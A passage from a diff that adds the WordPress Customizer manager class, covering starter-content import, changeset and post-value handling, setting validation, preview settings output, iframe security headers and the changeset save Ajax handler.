+				} else {
+					continue;
+				}
+			}
+
+			// Handle header image as special case since setting has a legacy format.
+			if ( 'header_image' === $name ) {
+				$name = 'header_image_data';
+				$metadata = wp_get_attachment_metadata( $value );
+				if ( empty( $metadata ) ) {
+					continue;
+				}
+				$value = array(
+					'attachment_id' => $value,
+					'url' => wp_get_attachment_url( $value ),
+					'height' => $metadata['height'],
+					'width' => $metadata['width'],
+				);
+			} elseif ( 'background_image' === $name ) {
+				$value = wp_get_attachment_url( $value );
+			}
+
+			if ( empty( $changeset_data[ $name ] ) || ! empty( $changeset_data[ $name ]['starter_content'] ) ) {
+				$this->set_post_value( $name, $value );
+				$this->pending_starter_content_settings_ids[] = $name;
+			}
+		}
+
+		if ( ! empty( $this->pending_starter_content_settings_ids ) ) {
+			if ( did_action( 'customize_register' ) ) {
+				$this->_save_starter_content_changeset();
+			} else {
+				add_action( 'customize_register', array( $this, '_save_starter_content_changeset' ), 1000 );
+			}
+		}
+	}
+
+	/**
+	 * Prepare starter content attachments.
+	 *
+	 * Ensure that the attachments are valid and that they have slugs and file name/path.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $attachments Attachments.
+	 * @return array Prepared attachments.
+	 */
+	protected function prepare_starter_content_attachments( $attachments ) {
+		$prepared_attachments = array();
+		if ( empty( $attachments ) ) {
+			return $prepared_attachments;
+		}
+
+		// Such is The WordPress Way.
+		require_once( ABSPATH . 'wp-admin/includes/file.php' );
+		require_once( ABSPATH . 'wp-admin/includes/media.php' );
+		require_once( ABSPATH . 'wp-admin/includes/image.php' );
+
+		foreach ( $attachments as $symbol => $attachment ) {
+
+			// A file is required and URLs to files are not currently allowed.
+			if ( empty( $attachment['file'] ) || preg_match( '#^https?://$#', $attachment['file'] ) ) {
+				continue;
+			}
+
+			$file_path = null;
+			if ( file_exists( $attachment['file'] ) ) {
+				$file_path = $attachment['file']; // Could be absolute path to file in plugin.
+			} elseif ( is_child_theme() && file_exists( get_stylesheet_directory() . '/' . $attachment['file'] ) ) {
+				$file_path = get_stylesheet_directory() . '/' . $attachment['file'];
+			} elseif ( file_exists( get_template_directory() . '/' . $attachment['file'] ) ) {
+				$file_path = get_template_directory() . '/' . $attachment['file'];
+			} else {
+				continue;
+			}
+			$file_name = basename( $attachment['file'] );
+
+			// Skip file types that are not recognized.
+			$checked_filetype = wp_check_filetype( $file_name );
+			if ( empty( $checked_filetype['type'] ) ) {
+				continue;
+			}
+
+			// Ensure post_name is set since not automatically derived from post_title for new auto-draft posts.
+			if ( empty( $attachment['post_name'] ) ) {
+				if ( ! empty( $attachment['post_title'] ) ) {
+					$attachment['post_name'] = sanitize_title( $attachment['post_title'] );
+				} else {
+					$attachment['post_name'] = sanitize_title( preg_replace( '/\.\w+$/', '', $file_name ) );
+				}
+			}
+
+			$attachment['file_name'] = $file_name;
+			$attachment['file_path'] = $file_path;
+			$prepared_attachments[ $symbol ] = $attachment;
+		}
+		return $prepared_attachments;
+	}
+
+	/**
+	 * Save starter content changeset.
+	 *
+	 * @since 4.7.0
+	 */
+	public function _save_starter_content_changeset() {
+
+		if ( empty( $this->pending_starter_content_settings_ids ) ) {
+			return;
+		}
+
+		$this->save_changeset_post( array(
+			'data' => array_fill_keys( $this->pending_starter_content_settings_ids, array( 'starter_content' => true ) ),
+			'starter_content' => true,
+		) );
+		$this->saved_starter_content_changeset = true;
+
+		$this->pending_starter_content_settings_ids = array();
+	}
+
+	/**
+	 * Get dirty pre-sanitized setting values in the current customized state.
+	 *
+	 * The returned array consists of a merge of three sources:
+	 * 1. If the theme is not currently active, then the base array is any stashed
+	 *    theme mods that were modified previously but never published.
+	 * 2. The values from the current changeset, if it exists.
+	 * 3. If the user can customize, the values parsed from the incoming
+	 *    `$_POST['customized']` JSON data.
+	 * 4. Any programmatically-set post values via `WP_Customize_Manager::set_post_value()`.
+	 *
+	 * The name "unsanitized_post_values" is a carry-over from when the customized
+	 * state was exclusively sourced from `$_POST['customized']`. Nevertheless,
+	 * the value returned will come from the current changeset post and from the
+	 * incoming post data.
+	 *
+	 * @since 4.1.1
+	 * @since 4.7.0 Added $args param and merging with changeset values and stashed theme mods.
+	 *
+	 * @param array $args {
+	 *     Args.
+	 *
+	 *     @type bool $exclude_changeset Whether the changeset values should also be excluded. Defaults to false.
+	 *     @type bool $exclude_post_data Whether the post input values should also be excluded. Defaults to false when lacking the customize capability.
+	 * }
+	 * @return array
+	 */
+	public function unsanitized_post_values( $args = array() ) {
+		$args = array_merge(
+			array(
+				'exclude_changeset' => false,
+				'exclude_post_data' => ! current_user_can( 'customize' ),
+			),
+			$args
+		);
+
+		$values = array();
+
+		// Let default values be from the stashed theme mods if doing a theme switch and if no changeset is present.
+		if ( ! $this->is_theme_active() ) {
+			$stashed_theme_mods = get_option( 'customize_stashed_theme_mods' );
+			$stylesheet = $this->get_stylesheet();
+			if ( isset( $stashed_theme_mods[ $stylesheet ] ) ) {
+				$values = array_merge( $values, wp_list_pluck( $stashed_theme_mods[ $stylesheet ], 'value' ) );
+			}
+		}
+
+		if ( ! $args['exclude_changeset'] ) {
+			foreach ( $this->changeset_data() as $setting_id => $setting_params ) {
+				if ( ! array_key_exists( 'value', $setting_params ) ) {
+					continue;
+				}
+				if ( isset( $setting_params['type'] ) && 'theme_mod' === $setting_params['type'] ) {
+
+					// Ensure that theme mods values are only used if they were saved under the current theme.
+					$namespace_pattern = '/^(?P<stylesheet>.+?)::(?P<setting_id>.+)$/';
+					if ( preg_match( $namespace_pattern, $setting_id, $matches ) && $this->get_stylesheet() === $matches['stylesheet'] ) {
+						$values[ $matches['setting_id'] ] = $setting_params['value'];
+					}
+				} else {
+					$values[ $setting_id ] = $setting_params['value'];
+				}
+			}
+		}
+
+		if ( ! $args['exclude_post_data'] ) {
+			if ( ! isset( $this->_post_values ) ) {
+				if ( isset( $_POST['customized'] ) ) {
+					$post_values = json_decode( wp_unslash( $_POST['customized'] ), true );
+				} else {
+					$post_values = array();
+				}
+				if ( is_array( $post_values ) ) {
+					$this->_post_values = $post_values;
+				} else {
+					$this->_post_values = array();
+				}
+			}
+			$values = array_merge( $values, $this->_post_values );
+		}
+		return $values;
+	}
+
+	/**
+	 * Returns the sanitized value for a given setting from the current customized state.
+	 *
+	 * The name "post_value" is a carry-over from when the customized state was exclusively
+	 * sourced from `$_POST['customized']`. Nevertheless, the value returned will come
+	 * from the current changeset post and from the incoming post data.
+	 *
+	 * @since 3.4.0
+	 * @since 4.1.1 Introduced the `$default` parameter.
+	 * @since 4.6.0 `$default` is now returned early when the setting post value is invalid.
+	 *
+	 * @see WP_REST_Server::dispatch()
+	 * @see WP_REST_Request::sanitize_params()
+	 * @see WP_REST_Request::has_valid_params()
+	 *
+	 * @param WP_Customize_Setting $setting A WP_Customize_Setting derived object.
+	 * @param mixed                $default Value returned $setting has no post value (added in 4.2.0)
+	 *                                      or the post value is invalid (added in 4.6.0).
+	 * @return string|mixed $post_value Sanitized value or the $default provided.
+	 */
+	public function post_value( $setting, $default = null ) {
+		$post_values = $this->unsanitized_post_values();
+		if ( ! array_key_exists( $setting->id, $post_values ) ) {
+			return $default;
+		}
+		$value = $post_values[ $setting->id ];
+		$valid = $setting->validate( $value );
+		if ( is_wp_error( $valid ) ) {
+			return $default;
+		}
+		$value = $setting->sanitize( $value );
+		if ( is_null( $value ) || is_wp_error( $value ) ) {
+			return $default;
+		}
+		return $value;
+	}
+
+	/**
+	 * Override a setting's value in the current customized state.
+	 *
+	 * The name "post_value" is a carry-over from when the customized state was
+	 * exclusively sourced from `$_POST['customized']`.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $setting_id ID for the WP_Customize_Setting instance.
+	 * @param mixed  $value      Post value.
+	 */
+	public function set_post_value( $setting_id, $value ) {
+		$this->unsanitized_post_values(); // Populate _post_values from $_POST['customized'].
+		$this->_post_values[ $setting_id ] = $value;
+
+		/**
+		 * Announce when a specific setting's unsanitized post value has been set.
+		 *
+		 * Fires when the WP_Customize_Manager::set_post_value() method is called.
+		 *
+		 * The dynamic portion of the hook name, `$setting_id`, refers to the setting ID.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param mixed                $value Unsanitized setting post value.
+		 * @param WP_Customize_Manager $this  WP_Customize_Manager instance.
+		 */
+		do_action( "customize_post_value_set_{$setting_id}", $value, $this );
+
+		/**
+		 * Announce when any setting's unsanitized post value has been set.
+		 *
+		 * Fires when the WP_Customize_Manager::set_post_value() method is called.
+		 *
+		 * This is useful for `WP_Customize_Setting` instances to watch
+		 * in order to update a cached previewed value.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string               $setting_id Setting ID.
+		 * @param mixed                $value      Unsanitized setting post value.
+		 * @param WP_Customize_Manager $this       WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_post_value_set', $setting_id, $value, $this );
+	}
+
+	/**
+	 * Print JavaScript settings.
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_init() {
+
+		/*
+		 * Now that Customizer previews are loaded into iframes via GET requests
+		 * and natural URLs with transaction UUIDs added, we need to ensure that
+		 * the responses are never cached by proxies. In practice, this will not
+		 * be needed if the user is logged-in anyway. But if anonymous access is
+		 * allowed then the auth cookies would not be sent and WordPress would
+		 * not send no-cache headers by default.
+		 */
+		if ( ! headers_sent() ) {
+			nocache_headers();
+			header( 'X-Robots: noindex, nofollow, noarchive' );
+		}
+		add_action( 'wp_head', 'wp_no_robots' );
+		add_filter( 'wp_headers', array( $this, 'filter_iframe_security_headers' ) );
+
+		/*
+		 * If preview is being served inside the customizer preview iframe, and
+		 * if the user doesn't have customize capability, then it is assumed
+		 * that the user's session has expired and they need to re-authenticate.
+		 */
+		if ( $this->messenger_channel && ! current_user_can( 'customize' ) ) {
+			$this->wp_die( -1, __( 'Unauthorized. You may remove the customize_messenger_channel param to preview as frontend.' ) );
+			return;
+		}
+
+		$this->prepare_controls();
+
+		add_filter( 'wp_redirect', array( $this, 'add_state_query_params' ) );
+
+		wp_enqueue_script( 'customize-preview' );
+		wp_enqueue_style( 'customize-preview' );
+		add_action( 'wp_head', array( $this, 'customize_preview_loading_style' ) );
+		add_action( 'wp_head', array( $this, 'remove_frameless_preview_messenger_channel' ) );
+		add_action( 'wp_footer', array( $this, 'customize_preview_settings' ), 20 );
+		add_filter( 'get_edit_post_link', '__return_empty_string' );
+
+		/**
+		 * Fires once the Customizer preview has initialized and JavaScript
+		 * settings have been printed.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Manager $this WP_Customize_Manager instance.
+		 */
+		do_action( 'customize_preview_init', $this );
+	}
+
+	/**
+	 * Filter the X-Frame-Options and Content-Security-Policy headers to ensure frontend can load in customizer.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $headers Headers.
+	 * @return array Headers.
+	 */
+	public function filter_iframe_security_headers( $headers ) {
+		$customize_url = admin_url( 'customize.php' );
+		$headers['X-Frame-Options'] = 'ALLOW-FROM ' . $customize_url;
+		$headers['Content-Security-Policy'] = 'frame-ancestors ' . preg_replace( '#^(\w+://[^/]+).+?$#', '$1', $customize_url );
+		return $headers;
+	}
+
+	/**
+	 * Add customize state query params to a given URL if preview is allowed.
+	 *
+	 * @since 4.7.0
+	 * @see wp_redirect()
+	 * @see WP_Customize_Manager::get_allowed_url()
+	 *
+	 * @param string $url URL.
+	 * @return string URL.
+	 */
+	public function add_state_query_params( $url ) {
+		$parsed_original_url = wp_parse_url( $url );
+		$is_allowed = false;
+		foreach ( $this->get_allowed_urls() as $allowed_url ) {
+			$parsed_allowed_url = wp_parse_url( $allowed_url );
+			$is_allowed = (
+				$parsed_allowed_url['scheme'] === $parsed_original_url['scheme']
+				&&
+				$parsed_allowed_url['host'] === $parsed_original_url['host']
+				&&
+				0 === strpos( $parsed_original_url['path'], $parsed_allowed_url['path'] )
+			);
+			if ( $is_allowed ) {
+				break;
+			}
+		}
+
+		if ( $is_allowed ) {
+			$query_params = array(
+				'customize_changeset_uuid' => $this->changeset_uuid(),
+			);
+			if ( ! $this->is_theme_active() ) {
+				$query_params['customize_theme'] = $this->get_stylesheet();
+			}
+			if ( $this->messenger_channel ) {
+				$query_params['customize_messenger_channel'] = $this->messenger_channel;
+			}
+			$url = add_query_arg( $query_params, $url );
+		}
+
+		return $url;
+	}
+
+	/**
+	 * Prevent sending a 404 status when returning the response for the customize
+	 * preview, since it causes the jQuery Ajax to fail. Send 200 instead.
+	 *
+	 * @since 4.0.0
+	 * @deprecated 4.7.0
+	 */
+	public function customize_preview_override_404_status() {
+		_deprecated_function( __METHOD__, '4.7.0' );
+	}
+
+	/**
+	 * Print base element for preview frame.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0
+	 */
+	public function customize_preview_base() {
+		_deprecated_function( __METHOD__, '4.7.0' );
+	}
+
+	/**
+	 * Print a workaround to handle HTML5 tags in IE < 9.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0 Customizer no longer supports IE8, so all supported browsers recognize HTML5.
+	 */
+	public function customize_preview_html5() {
+		_deprecated_function( __FUNCTION__, '4.7.0' );
+	}
+
+	/**
+	 * Print CSS for loading indicators for the Customizer preview.
+	 *
+	 * @since 4.2.0
+	 */
+	public function customize_preview_loading_style() {
+		?><style>
+			body.wp-customizer-unloading {
+				opacity: 0.25;
+				cursor: progress !important;
+				-webkit-transition: opacity 0.5s;
+				transition: opacity 0.5s;
+			}
+			body.wp-customizer-unloading * {
+				pointer-events: none !important;
+			}
+			form.customize-unpreviewable,
+			form.customize-unpreviewable input,
+			form.customize-unpreviewable select,
+			form.customize-unpreviewable button,
+			a.customize-unpreviewable,
+			area.customize-unpreviewable {
+				cursor: not-allowed !important;
+			}
+		</style><?php
+	}
+
+	/**
+	 * Remove customize_messenger_channel query parameter from the preview window when it is not in an iframe.
+	 *
+	 * This ensures that the admin bar will be shown. It also ensures that link navigation will
+	 * work as expected since the parent frame is not being sent the URL to navigate to.
+	 *
+	 * @since 4.7.0
+	 */
+	public function remove_frameless_preview_messenger_channel() {
+		if ( ! $this->messenger_channel ) {
+			return;
+		}
+		?>
+		<script>
+		( function() {
+			var urlParser, oldQueryParams, newQueryParams, i;
+			if ( parent !== window ) {
+				return;
+			}
+			urlParser = document.createElement( 'a' );
+			urlParser.href = location.href;
+			oldQueryParams = urlParser.search.substr( 1 ).split( /&/ );
+			newQueryParams = [];
+			for ( i = 0; i < oldQueryParams.length; i += 1 ) {
+				if ( ! /^customize_messenger_channel=/.test( oldQueryParams[ i ] ) ) {
+					newQueryParams.push( oldQueryParams[ i ] );
+				}
+			}
+			urlParser.search = newQueryParams.join( '&' );
+			if ( urlParser.search !== location.search ) {
+				location.replace( urlParser.href );
+			}
+		} )();
+		</script>
+		<?php
+	}
+
+	/**
+	 * Print JavaScript settings for preview frame.
+	 *
+	 * @since 3.4.0
+	 */
+	public function customize_preview_settings() {
+		$post_values = $this->unsanitized_post_values( array( 'exclude_changeset' => true ) );
+		$setting_validities = $this->validate_setting_values( $post_values );
+		$exported_setting_validities = array_map( array( $this, 'prepare_setting_validity_for_js' ), $setting_validities );
+
+		// Note that the REQUEST_URI is not passed into home_url() since this breaks subdirectory installations.
+		$self_url = empty( $_SERVER['REQUEST_URI'] ) ? home_url( '/' ) : esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) );
+		$state_query_params = array(
+			'customize_theme',
+			'customize_changeset_uuid',
+			'customize_messenger_channel',
+		);
+		$self_url = remove_query_arg( $state_query_params, $self_url );
+
+		$allowed_urls = $this->get_allowed_urls();
+		$allowed_hosts = array();
+		foreach ( $allowed_urls as $allowed_url ) {
+			$parsed = wp_parse_url( $allowed_url );
+			if ( empty( $parsed['host'] ) ) {
+				continue;
+			}
+			$host = $parsed['host'];
+			if ( ! empty( $parsed['port'] ) ) {
+				$host .= ':' . $parsed['port'];
+			}
+			$allowed_hosts[] = $host;
+		}
+
+		$switched_locale = switch_to_locale( get_user_locale() );
+		$l10n = array(
+			'shiftClickToEdit' => __( 'Shift-click to edit this element.' ),
+			'linkUnpreviewable' => __( 'This link is not live-previewable.' ),
+			'formUnpreviewable' => __( 'This form is not live-previewable.' ),
+		);
+		if ( $switched_locale ) {
+			restore_previous_locale();
+		}
+
+		$settings = array(
+			'changeset' => array(
+				'uuid' => $this->changeset_uuid(),
+				'autosaved' => $this->autosaved(),
+			),
+			'timeouts' => array(
+				'selectiveRefresh' => 250,
+				'keepAliveSend' => 1000,
+			),
+			'theme' => array(
+				'stylesheet' => $this->get_stylesheet(),
+				'active'     => $this->is_theme_active(),
+			),
+			'url' => array(
+				'self' => $self_url,
+				'allowed' => array_map( 'esc_url_raw', $this->get_allowed_urls() ),
+				'allowedHosts' => array_unique( $allowed_hosts ),
+				'isCrossDomain' => $this->is_cross_domain(),
+			),
+			'channel' => $this->messenger_channel,
+			'activePanels' => array(),
+			'activeSections' => array(),
+			'activeControls' => array(),
+			'settingValidities' => $exported_setting_validities,
+			'nonce' => current_user_can( 'customize' ) ? $this->get_nonces() : array(),
+			'l10n' => $l10n,
+			'_dirty' => array_keys( $post_values ),
+		);
+
+		foreach ( $this->panels as $panel_id => $panel ) {
+			if ( $panel->check_capabilities() ) {
+				$settings['activePanels'][ $panel_id ] = $panel->active();
+				foreach ( $panel->sections as $section_id => $section ) {
+					if ( $section->check_capabilities() ) {
+						$settings['activeSections'][ $section_id ] = $section->active();
+					}
+				}
+			}
+		}
+		foreach ( $this->sections as $id => $section ) {
+			if ( $section->check_capabilities() ) {
+				$settings['activeSections'][ $id ] = $section->active();
+			}
+		}
+		foreach ( $this->controls as $id => $control ) {
+			if ( $control->check_capabilities() ) {
+				$settings['activeControls'][ $id ] = $control->active();
+			}
+		}
+
+		?>
+		<script type="text/javascript">
+			var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>;
+			_wpCustomizeSettings.values = {};
+			(function( v ) {
+				<?php
+				/*
+				 * Serialize settings separately from the initial _wpCustomizeSettings
+				 * serialization in order to avoid a peak memory usage spike.
+				 * @todo We may not even need to export the values at all since the pane syncs them anyway.
+				 */
+				foreach ( $this->settings as $id => $setting ) {
+					if ( $setting->check_capabilities() ) {
+						printf(
+							"v[%s] = %s;\n",
+							wp_json_encode( $id ),
+							wp_json_encode( $setting->js_value() )
+						);
+					}
+				}
+				?>
+			})( _wpCustomizeSettings.values );
+		</script>
+		<?php
+	}
+
+	/**
+	 * Prints a signature so we can ensure the Customizer was properly executed.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0
+	 */
+	public function customize_preview_signature() {
+		_deprecated_function( __METHOD__, '4.7.0' );
+	}
+
+	/**
+	 * Removes the signature in case we experience a case where the Customizer was not properly executed.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0
+	 *
+	 * @param mixed $return Value passed through for {@see 'wp_die_handler'} filter.
+	 * @return mixed Value passed through for {@see 'wp_die_handler'} filter.
+	 */
+	public function remove_preview_signature( $return = null ) {
+		_deprecated_function( __METHOD__, '4.7.0' );
+
+		return $return;
+	}
+
+	/**
+	 * Is it a theme preview?
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool True if it's a preview, false if not.
+	 */
+	public function is_preview() {
+		return (bool) $this->previewing;
+	}
+
+	/**
+	 * Retrieve the template name of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Template name.
+	 */
+	public function get_template() {
+		return $this->theme()->get_template();
+	}
+
+	/**
+	 * Retrieve the stylesheet name of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Stylesheet name.
+	 */
+	public function get_stylesheet() {
+		return $this->theme()->get_stylesheet();
+	}
+
+	/**
+	 * Retrieve the template root of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Theme root.
+	 */
+	public function get_template_root() {
+		return get_raw_theme_root( $this->get_template(), true );
+	}
+
+	/**
+	 * Retrieve the stylesheet root of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return string Theme root.
+	 */
+	public function get_stylesheet_root() {
+		return get_raw_theme_root( $this->get_stylesheet(), true );
+	}
+
+	/**
+	 * Filters the current theme and return the name of the previewed theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param $current_theme {@internal Parameter is not used}
+	 * @return string Theme name.
+	 */
+	public function current_theme( $current_theme ) {
+		return $this->theme()->display('Name');
+	}
+
+	/**
+	 * Validates setting values.
+	 *
+	 * Validation is skipped for unregistered settings or for values that are
+	 * already null since they will be skipped anyway. Sanitization is applied
+	 * to values that pass validation, and values that become null or `WP_Error`
+	 * after sanitizing are marked invalid.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @see WP_REST_Request::has_valid_params()
+	 * @see WP_Customize_Setting::validate()
+	 *
+	 * @param array $setting_values Mapping of setting IDs to values to validate and sanitize.
+	 * @param array $options {
+	 *     Options.
+	 *
+	 *     @type bool $validate_existence  Whether a setting's existence will be checked.
+	 *     @type bool $validate_capability Whether the setting capability will be checked.
+	 * }
+	 * @return array Mapping of setting IDs to return value of validate method calls, either `true` or `WP_Error`.
+	 */
+	public function validate_setting_values( $setting_values, $options = array() ) {
+		$options = wp_parse_args( $options, array(
+			'validate_capability' => false,
+			'validate_existence' => false,
+		) );
+
+		$validities = array();
+		foreach ( $setting_values as $setting_id => $unsanitized_value ) {
+			$setting = $this->get_setting( $setting_id );
+			if ( ! $setting ) {
+				if ( $options['validate_existence'] ) {
+					$validities[ $setting_id ] = new WP_Error( 'unrecognized', __( 'Setting does not exist or is unrecognized.' ) );
+				}
+				continue;
+			}
+			if ( $options['validate_capability'] && ! current_user_can( $setting->capability ) ) {
+				$validity = new WP_Error( 'unauthorized', __( 'Unauthorized to modify setting due to capability.' ) );
+			} else {
+				if ( is_null( $unsanitized_value ) ) {
+					continue;
+				}
+				$validity = $setting->validate( $unsanitized_value );
+			}
+			if ( ! is_wp_error( $validity ) ) {
+				/** This filter is documented in wp-includes/class-wp-customize-setting.php */
+				$late_validity = apply_filters( "customize_validate_{$setting->id}", new WP_Error(), $unsanitized_value, $setting );
+				if ( is_wp_error( $late_validity ) && ! empty( $late_validity->errors ) ) {
+					$validity = $late_validity;
+				}
+			}
+			if ( ! is_wp_error( $validity ) ) {
+				$value = $setting->sanitize( $unsanitized_value );
+				if ( is_null( $value ) ) {
+					$validity = false;
+				} elseif ( is_wp_error( $value ) ) {
+					$validity = $value;
+				}
+			}
+			if ( false === $validity ) {
+				$validity = new WP_Error( 'invalid_value', __( 'Invalid value.' ) );
+			}
+			$validities[ $setting_id ] = $validity;
+		}
+		return $validities;
+	}
+
+	/**
+	 * Prepares setting validity for exporting to the client (JS).
+	 *
+	 * Converts `WP_Error` instance into array suitable for passing into the
+	 * `wp.customize.Notification` JS model.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param true|WP_Error $validity Setting validity.
+	 * @return true|array If `$validity` was a WP_Error, the error codes will be array-mapped
+	 *                    to their respective `message` and `data` to pass into the
+	 *                    `wp.customize.Notification` JS model.
+	 */
+	public function prepare_setting_validity_for_js( $validity ) {
+		if ( is_wp_error( $validity ) ) {
+			$notification = array();
+			foreach ( $validity->errors as $error_code => $error_messages ) {
+				$notification[ $error_code ] = array(
+					'message' => join( ' ', $error_messages ),
+					'data' => $validity->get_error_data( $error_code ),
+				);
+			}
+			return $notification;
+		} else {
+			return true;
+		}
+	}
+
+	/**
+	 * Handle customize_save WP Ajax request to save/update a changeset.
+	 *
+	 * @since 3.4.0
+	 * @since 4.7.0 The semantics of this method have changed to update a changeset, optionally to also change the status and other attributes.
+	 */
+	public function save() {
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( 'unauthenticated' );
+		}
+
+		if ( ! $this->is_preview() ) {
+			wp_send_json_error( 'not_preview' );
+		}
+
+		$action = 'save-customize_' . $this->get_stylesheet();
+		if ( ! check_ajax_referer( $action, 'nonce', false ) ) {
+			wp_send_json_error( 'invalid_nonce' );
+		}
+
+		$changeset_post_id = $this->changeset_post_id();
+		$is_new_changeset = empty( $changeset_post_id );
+		if ( $is_new_changeset ) {
+			if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->create_posts ) ) {
+				wp_send_json_error( 'cannot_create_changeset_post' );
+			}
+		} else {
+			if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) {
+				wp_send_json_error( 'cannot_edit_changeset_post' );
+			}
+		}
+
+		if ( ! empty( $_POST['customize_changeset_data'] ) ) {
+			$input_changeset_data = json_decode( wp_unslash( $_POST['customize_changeset_data'] ), true );
+			if ( ! is_array( $input_changeset_data ) ) {
+				wp_send_json_error( 'invalid_customize_changeset_data' );
+			}
+		} else {
+			$input_changeset_data = array();
+		}
+
+		// Validate title.
+		$changeset_title = null;
+		if ( isset( $_POST['customize_changeset_title'] ) ) {
+			$changeset_title = sanitize_text_field( wp_unslash( $_POST['customize_changeset_title'] ) );
+		}
+
+		// Validate changeset status param.
+		$is_publish = null;
+		$changeset_status = null;
+		if ( isset( $_POST['customize_changeset_status'] ) ) {
+			$changeset_status = wp_unslash( $_POST['customize_changeset_status'] );
+			if ( ! get_post_status_object( $changeset_status ) || ! in_array( $changeset_status, array( 'draft', 'pending', 'publish', 'future' ), true ) ) {
+				wp_send_json_error( 'bad_customize_changeset_status', 400 );
+			}
+			$is_publish = ( 'publish' === $changeset_status || 'future' === $changeset_status );
+			if ( $is_publish && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->publish_posts ) ) {
+				wp_send_json_error( 'changeset_publish_unauthorized', 403 );
+			}
+		}
+
+		/*
+		 * Validate changeset date param. Date is assumed to be in local time for
+		 * the WP if in MySQL format (YYYY-MM-DD HH:MM:SS). Otherwise, the date
+		 * is parsed with strtotime() so that ISO date format may be supplied
+		 * or a string like "+10 minutes".
+		 */
+		$changeset_date_gmt = null;
+		if ( isset( $_POST['customize_changeset_date'] ) ) {
+			$changeset_date = wp_unslash( $_POST['customize_changeset_date'] );
+			if ( preg_match( '/^\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d$/', $changeset_date ) ) {
+				$mm = substr( $changeset_date, 5, 2 );
+				$jj = substr( $changeset_date, 8, 2 );
+				$aa = substr( $changeset_date, 0, 4 );
+				$valid_date = wp_checkdate( $mm, $jj, $aa, $changeset_date );
+				if ( ! $valid_date ) {
+					wp_send_json_error( 'bad_customize_changeset_date', 400 );
+				}
+				$changeset_date_gmt = get_gmt_from_date( $changeset_date );
+			} else {
+				$timestamp = strtotime( $changeset_date );
+				if ( ! $timestamp ) {
+					wp_send_json_error( 'bad_customize_changeset_date', 400 );
+				}
+				$changeset_date_gmt = gmdate( 'Y-m-d H:i:s', $timestamp );
+			}
+		}
+
+		$lock_user_id = null;
+		$autosave = ! empty( $_POST['customize_changeset_autosave'] );
+		if ( ! $is_new_changeset ) {
+			$lock_user_id = wp_check_post_lock( $this->changeset_post_id() );
+		}
+
+		// Force request to autosave when changeset is locked.
+		if ( $lock_user_id && ! $autosave ) {
+			$autosave = true;
+			$changeset_status = null;
+			$changeset_date_gmt = null;
+		}
+
+		if ( $autosave && ! defined( 'DOING_AUTOSAVE' ) ) { // Back-compat.
+			define( 'DOING_AUTOSAVE', true );
+		}
+
+		$autosaved = false;
+		$r = $this->save_changeset_post( array(
+			'status' => $changeset_status,
+			'title' => $changeset_title,
+			'date_gmt' => $changeset_date_gmt,
+			'data' => $input_changeset_data,
+			'autosave' => $autosave,
+		) );
+		if ( $autosave && ! is_wp_error( $r ) ) {
+			$autosaved = true;
+		}
+
+		// If the changeset was locked and an autosave request wasn't itself an error, then now explicitly return with a failure.
+		if ( $lock_user_id && ! is_wp_error( $r ) ) {
+			$r = new WP_Error(
+				'changeset_locked',
+				__( 'Changeset is being edited by other user.' ),
+				array(
+					'lock_user' => $this->get_lock_user_data( $lock_user_id ),
+				)
+			);
+		}
+
+		if ( is_wp_error( $r ) ) {
+			$response = array(
+				'message' => $r->get_error_message(),
+				'code' => $r->get_error_code(),
+			);
+			if ( is_array( $r->get_error_data() ) ) {
+				$response = array_merge( $response, $r->get_error_data() );
+			} else {
+				$response['data'] = $r->get_error_data();
+			}
+		} else {
+			$response = $r;
+			$changeset_post = get_post( $this->changeset_post_id() );
+
+			// Dismiss all other auto-draft changeset posts for this user (they serve like autosave revisions), as there should only be one.
+			if ( $is_new_changeset ) {
+				$this->dismiss_user_auto_draft_changesets();
+			}
+
+			// Note that if the changeset status was publish, then it will get set to trash if revisions are not supported.
+			$response['changeset_status'] = $changeset_post->post_status;
+			if ( $is_publish && 'trash' === $response['changeset_status'] ) {
+				$response['changeset_status'] = 'publish';
+			}
+
+			if ( 'publish' !== $response['changeset_status'] ) {
+				$this->set_changeset_lock( $changeset_post->ID );
+			}
+
+			if ( 'future' === $response['changeset_status'] ) {
+				$response['changeset_date'] = $changeset_post->post_date;
+			}
+
+			if ( 'publish' === $response['changeset_status'] || 'trash' === $response['changeset_status'] ) {
+				$response['next_changeset_uuid'] = wp_generate_uuid4();
+			}
+		}
+
+		if ( $autosave ) {
+			$response['autosaved'] = $autosaved;
+		}
+
+		if ( isset( $response['setting_validities'] ) ) {
+			$response['setting_validities'] = array_map( array( $this, 'prepare_setting_validity_for_js' ), $response['setting_validities'] );
+		}
+
+		/**
+		 * Filters response data for a successful customize_save Ajax request.
+		 *
+		 * This filter does not apply if there was a nonce or authentication failure.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param array                $response Additional information passed back to the 'saved'
+		 *                                       event on `wp.customize`.
+		 * @param WP_Customize_Manager $this     WP_Customize_Manager instance.
+		 */
+		$response = apply_filters( 'customize_save_response', $response, $this );
+
+		if ( is_wp_error( $r ) ) {
+			wp_send_json_error( $response );
+		} else {
